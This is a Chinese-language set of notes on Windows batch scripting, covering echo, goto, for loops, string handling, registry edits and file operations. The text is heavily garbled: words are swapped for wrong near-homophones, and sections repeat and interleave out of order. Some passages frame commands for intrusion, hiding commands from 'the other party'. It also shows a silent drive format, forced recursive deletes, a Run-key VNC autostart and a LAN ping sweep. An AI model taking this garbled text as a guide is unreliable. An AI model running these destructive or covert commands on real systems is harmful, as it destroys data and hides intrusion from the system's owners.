建议做右侧文章大纲查看。4.每个编写好的批判处理文件还相当给一个DOS的外部命令。

本文是上bat整理的笔记,由于内容比较多,建议做右侧文章大纲查看。

平、基础语法:

%~dp0[博当前路]

%~dp0 “d”为Drive的缩写,即为驱动器,磁盘、“p”为Path缩写,即为路径,目录

cd %~dp0 :进入批处理所在目录

cd %~dp0bin\ :进入批处理所在目录的bin目录

1.批甩卖公事是一个“.bat”结尾的文件文件,这个文件的诸一行都是同等修DOS命令。可以下外文件文件编写工具创建及改。

示例

其一示例在win10 x64测试正常

::作用:以管理员身份安装Apache
d:
cd %~dp0bin\
httpd.exe -k install -n "Apache24"

2.批甩卖是如出一辙栽简单的先后,可以就此 if 和 goto 来支配流程,也堪运用 for
循环。

运作结果

盖管理人身份运行 示例.bat ,执行结果如下:

C:\Windows\system32>d:
D:\>cd D:\Server\Apache24\bin\
D:\Server\Apache24\bin>httpd.exe -k install -n "Apache24"

3.批处理的编程能力多不设C语言等编程语言,也生免正规。

我的常用命令

4.每个编写好之批处理公事都一定给一个DOS的外部命令,把其所于的目放到DOS搜索路径(path)中,即可在随心所欲位置运行。

%cd%[履之门道]

时下实践的路线,并非目标文件之路子

5.C:\AUTOEXEC.BAT
是每次系统启动时还见面自动运行的,可以拿每次启动时都设运行的通令放入该公文中。

taskkill /f /im notepad.exe [止进程]

taskkill /?打开帮助

图片 1

6.尺寸写不敏感(命令符忽略大小写)

cmd窗口中文乱码

以CMD窗口右键/默认值,打开属性选择
“默认代码页为简体中文GBK”,

图片 2

7.批甩卖的文件扩展名吧 .bat 或 .cmd。

抱命令帮助 xxx /?

遇见记不清楚的一声令下,但记得名字,就足以键入
命令名 空格
/?就会见出详尽的拖欠令的支援了,比如:ping /?     cd /?

图片 3图片 4

8.在指令提示下键入批处理公事之称号,或者双击该批处理文件,系统便会见调用Cmd.exe来运行该文件。

查内置命令的拉扯信息

ver /?

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

二、参数:

另常用的指令

type /?

find /?

findstr /?

copy /?

1) 系统参数

一致、基础语法

1.批甩卖公事是一个“.bat”结尾的文本文件,这个文件之每一行都是一致条DOS命令。可以运用另外公文文件编制工具创建同改。

2.批甩卖是平种简易的顺序,可以用 if 和 goto 来支配流程,也得使 for
循环。

3.批甩卖的编程能力颇为不使C语言等编程语言,也死不正规。

4.每个编写好之批处理公事都一定给一个DOS的外部命令,把它所当的目放到DOS搜索路径(path)中,即可在任意位置运行。

5.C:\AUTOEXEC.BAT
是每次系统启动时犹见面自动运行的,可以用每次启动时都设运行的通令放入该公文中。

6.轻重缓急写不灵敏(命令符忽略大小写)

7.批处理的文本扩展名吧 .bat 或 .cmd。

8.于命令提示下键入批处理公事之名号,或者双击该批处理文件,系统便会见调用Cmd.exe来运行该文件。

 

%SystemRoot% === C:\WINDOWS (%windir% 同样)

二、参数

%ProgramFiles% === C:\Program Files

1) 系统参数

%SystemRoot% === C:\WINDOWS (%windir% 同样)

%ProgramFiles% === C:\Program Files

%USERPROFILE% === C:\Documents and Settings\Administrator
(子目录有“桌面”,“开始菜单”,“收藏夹”等)

%APPDATA% === C:\Documents and Settings\Administrator\Application
Data

%TEMP% === C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp (%TEM% 同样)

%APPDATA% === C:\Documents and Settings\Administrator\Application
Data

%OS% === Windows_NT (系统)

%Path% ===
%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem
(原本的装)

%HOMEDRIVE% === C: (系统盘)

%HOMEPATH% === \Documents and Settings\Administrator

:: 枚举当前的环境变量

setlocal enabledelayedexpansion

FOR /F “usebackq delims==” %%i IN (`set`) DO @echo %%i !%%i!

 

%USERPROFILE% === C:\Documents and Settings\Administrator
(子目录有“桌面”,“开始菜单”,“收藏夹”等)

2) 传递参数为批处理文件

%[1-9]意味着参数,参数是依当运转批处理公事时以文书名后加的因空格(或者Tab)分隔的字符串。

变量可以起%0到%9,%0表示批判处理命令自己,其它参数字符串用 %1 到 %9
历表示。

Sample:

call test2.bat “hello” “haha”
(执行及目录下之“test2.bat”文件,并输入两单参数)

在“test2.bat”文件里写:

echo %1 (打印: “hello”)

echo %2 (打印: “haha”)

echo %0 (打印: test2.bat)

echo %19 (打印: “hello”9)

 

%APPDATA% === C:\Documents and Settings\Administrator\Application
Data

老三、批处理中心命令

%TEMP% === C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp (%TEM% 同样)

0. help 命令

/? 命令

语法: 命令 /?

但展示是命令的辅信息

Sample: type /? >>tmp.txt (把 type
命令的帮带信息写副到tmp.txt文件里)

Sample: help type (显示跟“type /?”一样)

 

%APPDATA% === C:\Documents and Settings\Administrator\Application
Data

1.Echo 命令

语法: echo [{on|off}] [message]

ECHO [ON | OFF] 打开回显或关闭回显功能。

ECHO 显示当前回显设置。

ECHO [message] 显示信息。

echo off
代表在这语句后具有运行的命还非亮命令执行本身;默认是on,on时见面显如果:
C:\文本夹路径>命令行。

以骨子里利用被我们见面拿这长长的命令和重定向符号( 也叫做管道符号,一般用 >
>> ^ )结合来贯彻输入有限令到特定格式的公文中。

Sample: echo off

Sample: echo hello world (显示出“hello world”)

Sample: echo Windows Registry Editor Version 5.00 > c:\setupreg.reg
(此前还不曾 setupreg.reg 这个文件)

Sample: echo “SourcePath”=”D:\\Win2003\\” >> c:\setupreg.reg
(追加内容进 setupreg.reg 这个文件)

 

%OS% === Windows_NT (系统)

2.@ 命令

代表未形@后面的授命,(在侵略过程被本非能够给对方看到您下的吩咐啦)

@ 与 echo off
相象,但她是加于每个命令行的不过前方,表示运行时未亮这等同实践之通令执行(只能影响当下施行)。

Sample: @echo off
(此语句常用于开头,表示不显得有的一声令下执行信息,包括这词)

Sample: @echo please wait a minite…

Sample: @format X: /q/u/autoset

(format
这个令是休可以下/y这个参数的,可喜的是微软留下了单autoset这个参数为我们,效果和/y是同的。)

 

%Path% ===
%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem
(原本的装置)

3.Goto 命令

语法:goto label (label是参数,指定所假设转账的批判处理程序中之行。)

点名跳反至号签行,找到标签行后,程序用拍卖由下一行开始的命。

label标签的名可以任由起,但是最是发生意义的,字母前须加个冒号“:”来代表这字母是签。

goto命令就是依据这冒号来索下一样步过到到那里。经常和 if
配合使用,根据不同之口径来推行不同的命令组。

例题见“5.Pause 命令”

 

%HOMEDRIVE% === C: (系统盘)

4.Rem 命令

语法:Rem Message…

(小技巧:用::代替rem)

注命令,在C语言中一定与/*…*/,它并无会见给实践,只是于一个注的作用,便于别人看与和气以后修改。

Sample:@Rem Here is the description.

 

%HOMEPATH% === \Documents and Settings\Administrator

5.Pause 命令

会半途而废批处理的施行并当屏幕上显示Press any key to
continue…的唤醒,等待用户以任意键后持续

Sample:

@echo off

:begin

copy a:*.* d:\back

echo Please put a new disk into driver A

pause

goto begin

当此例子中,驱动器 A 中磁盘上的富有文件均复制到d:\back中。

显示的音讯提示而将其它一样摆磁盘放入驱动器 A 时,pause
命令会如程序挂于,以便你换磁盘,然后按照任意键再次复制。

 

:: 枚举当前底环境变量

6.Call 命令

语法: call [[Drive:][Path] FileName [BatchParameters]] [:label
[arguments]]

参数: [Drive:][Path] FileName
指定要调用的批处理程序的岗位和名称。filename 参数必须拥有 .bat 或 .cmd
扩展名。

调用另一个批判处理程序,并且不鸣金收兵父批处理程序。

要是非用call而一直调用别的批处理文件,那么执行了那个批处理公事后将无法回来时文件并执行时文件之后续命令。

call 命令接受用作调用目标的签。如果以剧本或批处理公事外动
Call,它以无见面当命令行起作用。

Sample:call=”%cd%\test2.bat” haha kkk aaa (调用指定目录下的
test2.bat,且输入3只参数为他)

Sample:call test2.bat arg1 arg2 (调用同目录下之
test2.bat,且输入2单参数为他)

流淌:可以调用自身(死循环、递归)

setlocal enabledelayedexpansion

7.start 命令

调用外部程序,所有的 DOS命令 和 命令行程序 都足以由 start命令 来调用。

入侵常用参数:

MIN 开始经常窗口最小化

SEPARATE 在离别的空间内开始 16 位 Windows 程序

HIGH 以 HIGH 优先级档次开始应用程序

REALTIME 在 REALTIME 优先级列开始应用程序

WAIT 启动应用程序并等待她了

parameters 这些为传送到令/程序的参数

Sample:start /MIN test2.bat arg1 arg2 (调用同目录下之
test2.bat,且输入2只参数为他,且以窗口最小化)

Sample:e:\”program files”\最佳列车时刻表\jpskb.exe
(文件路径名有空格时)

FOR /F “usebackq delims==” %%i IN (`set`) DO @echo %%i !%%i!

8.If 命令

if 代表用判断是否符合规定的标准化,从而决定推行不一之通令。有三种格式:

2) 传递参数为批处理文件

1) IF

语法: if [not] “参数” == “字符串” 待执行的下令

参数如果当(not表示不抵,下同)指定的字符串,则法建立,运行命令,否则运行下一样句子。(注意是片只当号)

Sample: if “%1” == “a” format a:

Sample: if {%1} == {} goto noparms

%[1-9]表示参数,参数是依在运行批处理公事时于文件名后加的因为空格(或者Tab)分隔的字符串。

2) if exist

语法: if [not] exist [路径\]文本名 待执行之吩咐

如发指定的文件,则法建立,运行命令,否则运行下一样句子。

Sample: if exist config.sys edit config.sys
(表示要是就文件,则编辑它,用异常无耻的系编辑器)

Sample: if exist config.sys type config.sys
(表示如果有即文件,则显得她的始末)

变量可以打%0到%9,%0表示批判处理命令自己,其它参数字符串用 %1 到 %9
一一表示。

3) if errorlevel number

语法: if [not] errorlevel <数字> 待执行之命

倘若程序返回值等于指定的数字,则法建立,运行命令,否则运行下一致句子。(返回值必须按从很到多少的顺序排列)

Sample:

@echo off

XCOPY F:\test.bat D:\

IF ERRORLEVEL 1 (ECHO 文件拷贝失败

) Else IF ERRORLEVEL 0 ECHO 成功拷贝文件

pause

过多DOS程序在运行了晚会返回一个数字值用来表示程序运行的结果(或者状态),称为错误码errorlevel或称返回码。

周边的回码为0、1。通过if
errorlevel命令可以看清程序的归来值,根据不同的回来值来决定执行不同的下令。

Sample:

4) else

语法: if 条件 (成立时实行的指令) else (不建时实施之通令)

如果是差不多只尺码,建议适当采取括号将各个条件确保起来,以免出错。

Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) else
(echo comment3 )

流动:如果 else 的言语需要换行,if 执行的行尾需用“^”连接,并且 if
执行之动作需用(括起来),否则报错

Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) ^

else (echo comment3 )

call test2.bat “hello” “haha”
(执行与目录下的“test2.bat”文件,并输入两个参数)

5) 比较运算符:

EQU – 等于 (一般以“==”)

NEQ – 不等于 (没有 “!=”,改用“ if not 1==1 ”的写法)

LSS – 小于

LEQ – 小于或等

GTR – 大于

GEQ – 大于或等

 

每当“test2.bat”文件里写:

9.choice 命令

choice
用此命令可以让用户输入一个字符(用于选择),从而根据用户的选取回到不同之
errorlevel,

接下来配合 if errorlevel 选择运行不同的通令。

小心:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有例外,请用choice
/?查看用法。

choice 用这个命令可以吃用户输入一个字符,从而运行不同的指令。

运时该加/c:参数,c:后许写提示而输入的字符,之间无空格。它的返回码为1234……

Sample: choice /c:dme defrag,mem,end

将显示: defrag,mem,end[D,M,E]?

Sample:

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (应先判断数值最高的错误码)

if errorlevel 2 goto mem

if errotlevel 1 goto end

echo %1 (打印: “hello”)

10.for 命令

for 命令是一个比较复杂的指令,主要用以参数在指定的限量外循环执行命令。

1) for {%variable | %%variable} in (set) do command
[command-parameters]

%variable 指定一个纯字母可替换的参数。变量名称是分别轻重缓急写的,所以 %i
不同为 %I

当批处理公事中采用 FOR 命令时,指定变量建议用 %%variable而不用就此
%variable。

(set) 指定一个还是雷同组文件。可以应用通配符。

command 指定对每个文件实行之一声令下。

command-parameters 为特定命令指定参数或指令执行开关。

2) 如果命令扩展名让启用,下列额外的 FOR 命令格式会蒙支撑:

a.FOR /D %variable IN (set) DO command [command-parameters]

假如凑里含有通配符,则指定同目录名匹配,而未与公事称匹配。

b.FOR /R [[drive:]path] %variable IN (set) DO command
[command-parameters]

检查以 [drive:]path 为根的目录树,指向每个目录中之FOR 语句。

比方当 /R
后并未点名目录,则运用当前目录。如果凑就为一个单点(.)字符,则枚举该目录树。

c.FOR /L %variable IN (start,step,end) DO command [command-parameters]

该集表示因增量式从初步到竣工的一个数字序列。

倘:(1,1,5) 将产生序列 1 2 3 4 5; 而(5,-1,1) 将生出序列 (5 4 3 2 1)。

d.有或者没 usebackq 选项:

FOR /F [“options”] %variable IN (file-set) DO command

FOR /F [“options”] %variable IN (“string”) DO command

FOR /F [“options”] %variable IN (command) DO command

参数”options”为:

eol=c – 指一个履注释字符的结尾(就一个,如“;”)

skip=n – 指在文件开始时疏忽的行数。

delims=xxx – 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n – 指每行的啦一个记被传送及每个迭代的 for
本身。这会导致额外变量名称的分红。

m-n格式为一个范围。通过 nth 符号指定 mth。

万一符号字符串中之末尾一个字符星号,那么额外的变量将于结尾一个标记解析之后分配并受实践的保存文本。

usebackq – 指定新语法已在下类情况被行使:

于作命令执行一个继引号的字符串并且一个单引号字符为文字符串命令并同意以
filenameset中采取对引号扩起文件名称。

echo %2 (打印: “haha”)

3) Sample:

  1. 一般来说命令行会显示当前目录下所起缘bat或者txt为扩展名的文书称。

for %%c in (*.bat *.txt) do (echo %%c)

a. 如下命令行会显示当前目录下有包含有 e 或者 i 的目录名。

for /D %%a in (*e* *i*) do echo %%a

b. 如下命令行会显示 E盘test目录 下所有以bat或者txt为扩展名的公文称。

for /R E:\test %%b in (*.txt *.bat) do echo %%b

for /r %%c in (*) do (echo %%c) :: 遍历当前目录下拥有文件

c. 如下命令将产生序列 1 2 3 4 5

for /L %%c in (1,1,5) do echo %%c

d. 以下简单句子,显示当前的年月日和岁月

For /f “tokens=1-3 delims=-/. ” %%j In (‘Date /T’) do echo
%%j年%%k月%%l日

For /f “tokens=1,2 delims=: ” %%j In (‘TIME /T’) do echo %%j时%%k分

e. 将记事本中之始末各一行前面去丢8只字符

setlocal enabledelayedexpansion

for /f %%i in (zhidian.txt) do (

set atmp=%%i

set atmp=!atmp:~8!

if {!atmp!}=={} ( echo.) else echo !atmp!

)

:: 读取记事本里之始末(使用 delims
是为拿一行显示均,否则会因为空格为分隔符)

for /f “delims=” %%a in (zhidian.txt) do echo.%%a

echo %0 (打印: test2.bat)

4) continue 和 break

行使 goto 实现程序中常用的 continue 和 break 命令, 其实非常简单

continue: 在 for 循环的末段一行写及一个签,跳反到立刻位置即可

break: 在 for 循环的外界的下同样句写及一个签,跳反到当时位置即可

Sample: (伪代码)

for /F [“options”] %variable IN (command) DO (

… do command …

if … goto continue

if … goto break

… do command …

:continue

)

:break

 

echo %19 (打印: “hello”9)

季、其它命令

老三、批处理中心命令

1. ping 命令

测试网连接状况及消息保管发送和接到状况。但是不能够测试端口。

语法:ping IP地址或主机名 [-t] [-a] [-n count] [-l size]

参数含义:

-t 不停止地往目标主机发送数据;

-a 以IP地址格式来展示目标主机的网络地址;

-n count 指定要Ping多少次,具体次数由count来指定;

-l size 指定发送至目标主机的数据包的高低。

Sample: ping 192.168.0.1 -t (不停歇的测试192.168.0.1,按ctrl+c停止)

Sample: for /L %%a in (0,1,255) do ping 192.168.0.%%a -n 1 >>
tmp.txt (ping一下富有的局域网电脑)

0. help 命令

2. telnet 命令

测试端口使用 telnet IP地址或主机名 端口,使用tcp协议的

Sample: telnet 192.168.0.1 80 (测试192.168.0.1的80端口)

/? 命令

3.color 命令

设置背景与字体颜色

语法: color bf

b 是指定背景色的十六进制数字; f 指定前景颜色(即字体颜色)。

颜色值: 0:黑色 1:蓝色 2:绿色 3:湖蓝 4:红色 5:紫色 6:** 7:白色

8:灰色 9:淡蓝 A:淡绿 B:浅绿 C:淡红 D:淡紫 E:淡黄 F:亮白

要是没有加任何参数,该命令会将颜色还原到 CMD.EXE 启动时的颜料。

万一个别参数一样,视为无效输入。只有一个参数时,设置字体。

语法: 命令 /?

4. random 命令

来随机数(正整数0~)

可是展示这命令的帮扶信息

5. exit 命令

截止程序。即时是叫调用的先后,结束晚呢非会见回来原程序

Sample: type /? >>tmp.txt (把 type
命令的支援信息写副到tmp.txt文件里)

6. shutdown命令

shutdown -s 关机

Sample: help type (显示跟“type /?”一样)

五、字符串处理

1.Echo 命令

1) 分割字符串,以查看时吧条例

%源字符串:~起开始值,截取长度%
(起始值从0开始;截取长度是可选的,如果简单逗号和截取长度,将会见于从始值截取到最终;

截取长度要是负数,表示截取到倒数第几独。)

“%time%” 显示如果:”11:04:23.03″ (完整的时间”hh:mm:ss.tt”)

“%time:~0,5%”
显示”hh:mm”(即”11:04″),其中0表示于右边为左移位操作的个数,5意味着从错误为右侧走操作的个数

“%time:~0,8%” 显示专业日格式”hh:mm:ss”(即”11:04:23″,前8只字符串)

“%time:~3,-3%”显示”mm:ss”(即由第4个起来,截去最后3单底字符串)

“%time:~3%” 显示”04:23.03″(即夺丢前4独字符串)

“%time:~-3%” 显示”.tt”(即最后3单字符串)

方的字串分割格式,也足以用来其它地方,如目录路径:”%cd:~0,10%”

语法: echo [{on|off}] [message]

2) 替换字符串

set a=”abcd1234″

echo %a% 显示:”abcd1234″

set a=%a:1=kk% 替换“1”为“kk”

echo %a% 显示:”abcdkk234″

ECHO [ON | OFF] 打开回显或关闭回显功能。

3) 字符串合并

出于尚未一直的字符串合并函数,只能用笨办法了。

set str1=%str1%%str2% (合并 str1 和 str2)

ECHO 显示当前回显设置。

4) 计算字符串长度

无现成的函数。如下程序用
goto形成巡回,不断将字符串截短1,并记录截短的次数,到字符串变成空时的次数就长度。

set testStr=This is a test string

:: 将 testStr 复制到str,str 是单临时字符串

set str=%testStr%

:: 标签,用于goto跳转

:next1

:: 判断str是无是空,如果无是则行下的口舌

if not “%str%”==”” (

:: 算术运算,使num的价由增1,相当给num++或者++num语词

set /a num+=1

:: 截取字符串,每次截短1

set “str=%str:~1%”

:: 跳转到next1标签: 这里以goto和标签,构成循环结构

goto next1

)

:: 当以上循环结构执行完毕时,会执行下的言语

echo testStr=%testStr%

echo testStr的长为:%num%

ECHO [message] 显示信息。

5) 截取字符串时,需要传递参数

直接 echo %args:~%num%,-5% 没道想要之字符串,需要如下两步

setlocal enabledelayedexpansion

echo !args:~%num%,-5!

 

echo off
代表于这语句后有着运行的命令还非显示命令执行本身;默认是on,on时会见显如果:
C:\文件夹路径>命令行。

六、注册表操作

1) 备份注册表,将[HKEY_LOCAL_MACHINE …
Run]的内容,备份到“c:\windows\1.reg”

reg export
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
c:\windows\1.reg

reg export
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
c:\windows\2.reg

2) 修改/添加注册表内容

a.一般的增长或修改

reg add “HKCU\Environment” /v Java_Home /t reg_sz /d
“D:\Java\jdk1.6.0_07” /f

齐句解析:“HKCU”是“HKEY_CURRENT_USER”的缩写,不用缩写用全为可;

上加名称为“Java_Home”的变量;类型为“reg_sz”,另一样栽普遍类型是“reg_dword”;值为
D:\Java\jdk1.6.0_07;

b.以变量

set SoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java

reg add “%SoftWareHome%Web Start\1.6.0_07” /v Home /t reg_sz /d
“%cd%\jre1.6.0_07\bin” /f

c.如果注册表的称呼有空格,或者数用特殊符号时

reg add “%SoftWareHome2%\HelpCommands” /v “01:Online Documentation” /t
reg_sz /d “\”%cd%\Documentation\Index.htm\”” /f

传入值为(值用双勾号括起来的):”D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm”

reg add “%SoftWareHome2%\Paths” /v ReportTemplates /t reg_sz /d
“%cd%\Resource Files\Report Templates\\” /f

招入值为(“\”结尾的): E:\Holemar\1.notes\90. Windows\Resource
Files\Report Templates\

d.增加空的情

reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared
Tools\MSConfig\startupreg\IMJPMIG8.1”

e.添加或修改默认值

reg add “%vpath%InstallPath” /ve /t reg_sz /d “%cd%” /f

此处用“/ve”来替相似修改时之“/v 变量名”,即可修改默认值了

3) 删除注册表的始末

对引号里面的是注册表的目,下面两句子以去除这引得下的持有信息

reg delete “HKEY_CURRENT_USER\Software\RealVNC” /f

reg delete “HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC” /f

双引号里面的是注册表的目,下面一词以去除这引得下指定的有信息

reg delete “HKEY_LOCAL_MACHINE\Software\RealVNC” /v VNC_Server /f

4) 注册表的常用位置

a.系统启动项:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

example: REG ADD
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
/v VNC_Server /t REG_SZ /d “%cd%\VNC_Server.bat” /f

b.系统环境变量:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Environment]

c.时用户的环境变量:

[HKEY_CURRENT_USER\Environment]

5)
修改注册表之后,结束并再次加载explorer.exe进程,可刷新注册表,令该收效

taskkill /f /im explorer.exe >nul

start “” “explorer.exe”

 

每当其实应用被我们见面将当下漫漫命令和重定向符号( 也称管道符号,一般用 >
>> ^ )结合来促成输入有发令到一定格式的文书中。

七、系统服务

1) 停止服务:NET STOP 服务名

启动服务:NET Start 服务名

2) 设置启动项目

自动: SC CONFIG 服务名 START= auto

手动: SC CONFIG 服务名 START= demand

已禁用:SC CONFIG 服务名 START= disabled

倚:“START= ”等号后要要来一个空格。(start还有boot,system两只价)

Sample: SC CONFIG Spooler START= demand
(打印机加载项,设置成手动,默认自动)

3) 查看系统服务:start %SystemRoot%\system32\services.msc /s

 

Sample: echo off

八、setlocal与变量延迟

0)
在没开变量延迟的情景下,某条命令执行吃的变量改变,必须顶下一致长条命令才能够体现。

除此以外如for命令等,其后为此同样针对性圆括号闭合的备语句为作一行。

example:

set a=4

set a=5 & echo %a%

结果:4

也可针对这种体制加以利用,如下的变量交换

example:

set var1=abc

set var2=123

echo 交换前: var1=%var1% var2=%var2%

set var1=%var2%& set var2=%var1%

echo 交换后: var1=%var1% var2=%var2%

1) 启动批处理公事中环境变量的本地化。本地化将随地到出现匹配的 endlocal
命令或者到批处理文件结尾为止。

语法: setlocal {enableextension | disableextensions}
{enabledelayedexpansion | disabledelayedexpansion}

enableextension: 启用命令扩展,直到出现匹配的 endlocal 命令,无论
setlocal 命令之前的装置什么样。

disableextensions: 禁用命令扩展,直到出现匹配的 endlocal 命令,无论
setlocal 命令之前的安装什么样。

enabledelayedexpansion: 启用延迟的环境变量扩展,直到出现匹配的 endlocal
命令,无论 setlocal 命令之前的装什么样。

disabledelayedexpansion: 禁用延迟的环境变量扩展,直到出现匹配的 endlocal
命令,无论 setlocal 命令之前的安什么样。

 

2)
为了能够感知环境变量的动态变化,批处理规划了变量延迟。简单的话,在读取了千篇一律长长的完整的口舌之后,不就对该行的变量赋值,而会于某单条语句子执行前更展开赋值,也就是说“延迟”了针对性变量的赋值。

examle:

setlocal enabledelayedexpansion

set a=4

set a=5 & echo !a!

结果: 5

变量延迟的开行语句是“setlocal
enabledelayedexpansion”,并且变量要用相同对叹号“!!”括起来

由起步了变量延迟,所以批处理能够感知到动态变化,即非是事先被该行变量赋值,而是于运作过程遭到为变量赋值,因此此时a的价值就是是5了

另外,启动变量延迟,“%”的变量还是免换

example2:

setlocal enabledelayedexpansion

for /l %%i in (1,1,5) do (

set a=%%i

echo !a!

)

结果,打印从1至5;如果非变量延迟,一个变量也未尝打印

 

Sample: echo hello world (显示出“hello world”)

九、文件处理

Sample: echo Windows Registry Editor Version 5.00 > c:\setupreg.reg
(此前还没 setupreg.reg 这个文件)

1.删除

1) 删除一个文书或者多独文本

del /s /q /f d:\test\a.bat

将直删除d:\test\a.bat,没有任务提示

del temp\* /q /f /s

用一直去 本目录的 temp 目录的有所文件,没有任务提示

抹文件的下可以运用“*”作通配符

Sample: echo “SourcePath”=”D:\\Win2003\\” >> c:\setupreg.reg
(追加内容进 setupreg.reg 这个文件)

2) 删除一个空目录

rd /q /s d:\test\log

以直删除d:\test\log目录,如果log目录内有文件拿无法去

2.@ 命令

3) 删除一个非空目录 (必须指定目录名称)

rmdir /q /s d:\test\logs

非得指定目录名称,不可知下通配符

/S 除目录本身他,还以去除指定目录下的所有子目录

/Q 安静模式,带 /S 删除目录树时莫求确认

不论里面是不是有文件或者文件夹将全部直接去

意味着未显@后面的下令,(在侵略过程被本非克于对方看来您用的指令啦)

2.创办目录

MKDIR [drive:]path

MD [drive:]path

路有空格时,可以用对滋生号括起来,也可据此   替代

施行有:

======================================================================

 

@ 与 echo off
相象,但它是加于每个命令行的顶前头,表示运行时未显示这无异于行之通令执行(只能影响当下施行)。

小摘录:

  1. 调用其他程序时,对文件的轻重缓急写不灵动,文件后缀也只是忽略

倘:start LeapFTP.exe 与 start leapftp
效果等同,都是运行“LeapFTP.exe”文件

每行的上马的字符串会自行寻找程序来运转,还可用双引号引起来(文件称或目录名含空格时必用)

如:”D:\Program Files\Leap FTP.exe”

“LeapFTP.exe” 可正常运行文件,start “” “LeapFTP.exe”
也足以正常运作文件(注意,第一个参数是窗口展示的题目)

  1. copy C:\test\*.* D:\back
    (复制C盘test文件夹的富有文件(不包文件夹及子文件夹里的东西)到D盘的back文件夹)

  2. dir c:\*.* > a.txt (将c盘文件列表写副 a.txt 中)

  3. > 生成文件并写副内容(如果来及时文件则覆盖), >> 文件里长内容

  4. md d:\aa (创建文件夹)

  5. 每当指令末尾加上“>NUL 2>NUL”,表示隐蔽返回信息。

  6. 伺机用户输入: set /p 变量名=屏幕显示信息。 Sample:set /p
    pass=请输入密码:

  7. 为用户以回车退出

稍加技巧(替代pause),文件的末尾一句:set /p
tmp=操作完,请以掉车键退出…

10.安标题: title JDK安装

11.装屏幕显示颜色,如绿色: color 0a

12.清屏: cls

13.查自己之IP:

for /f “tokens=15” %%i in (‘ipconfig ^| find /i “ip address”‘) do set
ip=%%i

echo %ip% (这时的 %ip% 就是温馨之IP地址)

 

  1. 修改文件之翻新日期

copy 文件名+,,>nul
(修改也当前日,如果假定修改为指定时间,先改系统时,再变动回系统时)

  1. 改文件之继缀名

ren C:\test\*.jpg *.JPG

for /r %%c in (*.jpg) do (ren %%c *.JPG) ::
修改时目录下之兼具文件的继缀名,包括子目录的

  1. 改文件之公文称

rename test.jpg test2.JPG

rename *.jpg *.888.JPG

  1. 查看DNS、IP、Mac等

1) Win98: winipcfg

2) Win2000以上: Ipconfig /all

3) NSLOOKUP

18.查看IP上的共享资源,就得

net view 192.168.10.8

19.共享

A.查看而机器的共享资源: net share

B.手工删除共享

net share 共享资源名称$ /d

小心$后发生空格。

C.增加一个共享:

net share mymovie=e:\downloads\movie /users:3

mymovie 共享成功。 同时限制链接用户数为3口。

20.开辟某网站

start iexplore.exe http://www.baidu.com

 

Sample: @echo off
(此语句常用于开头,表示不形有的吩咐执行信息,包括这词)

实例

  1. 变化 reg 文件,运行它们,再去其

echo “更改windows安装文件的门路”

echo Windows Registry Editor Version 5.00 > c:\setupreg.reg

echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup]
>> c:\setupreg.reg

echo “ServicePackSourcePath”=”D:\\Win2003\\” >>
c:\setupreg.reg

echo “SourcePath”=”D:\\Win2003\\” >> c:\setupreg.reg

:: 写副注册表

regedit /S c:\setupreg.reg

:: 删除注册表文件

del c:\setupreg.reg

 

2.调之所以了exe文件,结束晚无关,解决方式

所以start命令运行文件,如:

start LeapFTP.exe 192.168.0.100

 

Sample: @echo please wait a minite…

3.装置系统环境变量

:: 有这个环境变量,则无欲再安装,直接收

if not “%JAVA_HOME%” == “” exit

:: 设置环境变量的地址

set inputJavaHome=%cd%\jdk1.6.0_07

:: 设置环境变量,也得安装当前用户之变量

set
EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Environment

echo 正在安装环境变量,请稍候……

reg add “%EnvironmentHome%” /v JAVA_HOME /t reg_sz /d
“%inputJavaHome%” /f

reg add “%EnvironmentHome%” /v ClassPath /t reg_sz /d
“.;%%JAVA_HOME%%\lib” /f

reg add “%EnvironmentHome%” /v Path /t reg_sz /d
“%%JAVA_HOME%%\bin;%Path%” /f]

:: 刷新,令环境变量生效

taskkill /f /im explorer.exe >nul

start “” “explorer.exe”

 

Sample: @format X: /q/u/autoset

4.伏某目录的所有文件与文件夹

cd /d 要隐藏的目(如:D:)

for /f “usebackq delims=” %%A in (`dir /a /b`) do (attrib “%%A” -r +h
-s)

 

5.每当批处理面临采取密码。密码吗admin,输入正确,跳反至next1
,若输入密码错误3不好,则锁屏。。

@echo off

set num=0

:11

set /p pass=请输入密码:

if “%pass%”==”admin” goto next1

set /a num=%num% + 1

if %num%==3 goto no1

goto 11

:no1

%windir%\system32\rundll32.exe user32.dll,LockWorkStation

goto 11

:next1

echo 密码正确,执行下的程式

pause

 

(format
这个命令是匪得以应用/y这个参数的,可喜的凡微软留给了单autoset这个参数为我们,效果和/y是一样的。)

6.清空回收站(未成)

@echo off

del /f /s /q c:\recycler\*.*

::刷新屏幕

taskkill /f /im explorer.exe >nul

start “” “explorer.exe”

 

3.Goto 命令

7.叫系统断断续续地叫

@echo off

:begin

:: 发出鸣叫(“”实际就是是ASCII码值为7的特殊字符(蜂鸣键beep)

echo

:: 让程序暂停一略阵子

ping -n 1 -l 1 127.1>nul

goto :begin

语法:goto label (label是参数,指定所要转正的批判处理程序中的实行。)

8.将 FAT 卷转换成 NTFS

